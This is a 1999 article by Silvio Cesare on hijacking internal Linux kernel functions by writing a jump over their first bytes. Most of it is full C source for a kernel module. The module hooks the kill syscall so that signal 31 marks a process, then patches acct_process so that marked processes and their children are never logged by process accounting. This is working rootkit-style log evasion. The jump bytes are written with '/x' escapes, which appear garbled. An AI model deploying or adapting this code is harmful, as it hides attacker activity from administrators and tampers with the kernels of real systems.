KERNEL FUNCTION HIJACKING

KERNEL FUNCTION HIJACKING
 
    - Silvio Cesare <silvio@big.net.au>
    - November 1999
 
INTRODUCTION
 
This article describes a method of hijacking internal kernel functions, that
is, kernel functions that are declared inside the kernel without a function
pointer or vector for changing the kernel function it points too.  This can
have practical uses, as given in example code which patches the process
accounting code to not log specially marked processes (processes given signal
31).
 
KERNEL FUNCTION HIJACKING
 
The basic premise for this attack is to replace the first bytes of the original
function with an asm jump to the replacement jump.  The algorithm follows
 
In init_module...
 
    * save the first 7 bytes of the original function for later use
    * set the new jump code to point to the replacement function
    * replace the first 7 bytes of the original function with a jump
 
In cleanup_module...
 
    * restore the bytes of the original function with the saved copy
 
In the replacement function...
 
    * do the payload
      for calling the old function...
        * restore the bytes of the original function with the saved
          copy
        * call the original function
        * replace the first 7 bytes of the original function with a
          jump                  
 
The asm jump used is an indirect jump...  This means no messing around with
calculating offsets.
 
    movl $address_to_jump,%eax
    jmp *%eax
 
THE IMPLEMENTED EXAMPLE
 
The example code patches acct_process in kernel/sys.c which accounts for
process accounting.  Normally, you cannot redirect acct_process, but this does
all the logging for process accounting, so we hijack the function to control
process logging.
 
The code works by waiting for a kill -31 to a process, when this is recieved,
the replacement kill syscall sets a bit in the process flags that marks the
process as not to be logged by process accounting.  This technique is ideal
as when the process forks, the process flags are copied, so children remaing
log free aswell.  The heart of the code is in _acct_process which looks at the
process flags and if marked not to be logged, returns without calling the
original acct_process.
 
The acct_process variable must be assigned the correct address of the function
in the kernel.  Typically, this is found in System.map but if no map is present
then the techniques described in my paper RUNTIME KERNEL KMEM PATCHING 
(http://www.big.net.au/~silvio) may be used.
 
 
-- acct_nolog.c (Linux 2.0.35)
 
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <linux/sched.h>
#include <asm/string.h>
#include <asm/unistd.h>
 
/*
    change this to the correct address, which can be found in System.map
*/
 
int (*acct_process)(int) = (int (*)(int))0x00114520;
 
#define CODESIZE    7
 
#define NOLOG_SIGNAL    31
#define NOLOG_PF    0x10000000
 
static char original_acct_code[7];
static char acct_code[7] =
    "/xb8/x00/x00/x00/x00"    /*    movl   $0,%eax    */
    "/xff/xe0"        /*    jmp    *%eax    */
;
int (*original_kill)(pid_t, int);
 
extern void *sys_call_table[];
 
void *_memcpy(void *dest, const void *src, int size)
{
    const char *p = src;
    char *q = dest;
    int i;
 
    for (i = 0; i < size; i++) *q++ = *p++;
 
    return dest;
}
 
int _acct_process(long exitcode)
{
    if (!(current->flags & NOLOG_PF)) {
        int ret;
 
        _memcpy(acct_process, original_acct_code, CODESIZE);
        ret = acct_process(exitcode);
        _memcpy(acct_process, acct_code, CODESIZE);
        return ret;
    }
    return 0;
}
 
struct task_struct *find_task(pid_t pid)
{
    struct task_struct *task = current;
 
    do {
        if (task->pid == pid) return task;
        task = task->next_task;
    } while (task != current);
 
    return NULL;
}
 
 
int _kill(pid_t pid, int sig)
{
    if (sig == NOLOG_SIGNAL) {
        struct task_struct *task;
 
        task = find_task(pid);
        if (task == NULL) return - ESRCH;
 
        task->flags |= NOLOG_PF;
        return 0;
    }
    return original_kill(pid, sig);
}
 
int init_module(void)
{
    original_kill = sys_call_table[__NR_kill];
    sys_call_table[__NR_kill] = _kill;
    *(long *)&acct_code[1] = (long)_acct_process;
    _memcpy(original_acct_code, acct_process, CODESIZE);
    _memcpy(acct_process, acct_code, CODESIZE);
    return 0;
}
 
void cleanup_module(void)
{
    sys_call_table[__NR_kill] = original_kill;
    _memcpy(acct_process, original_acct_code, CODESIZE);
}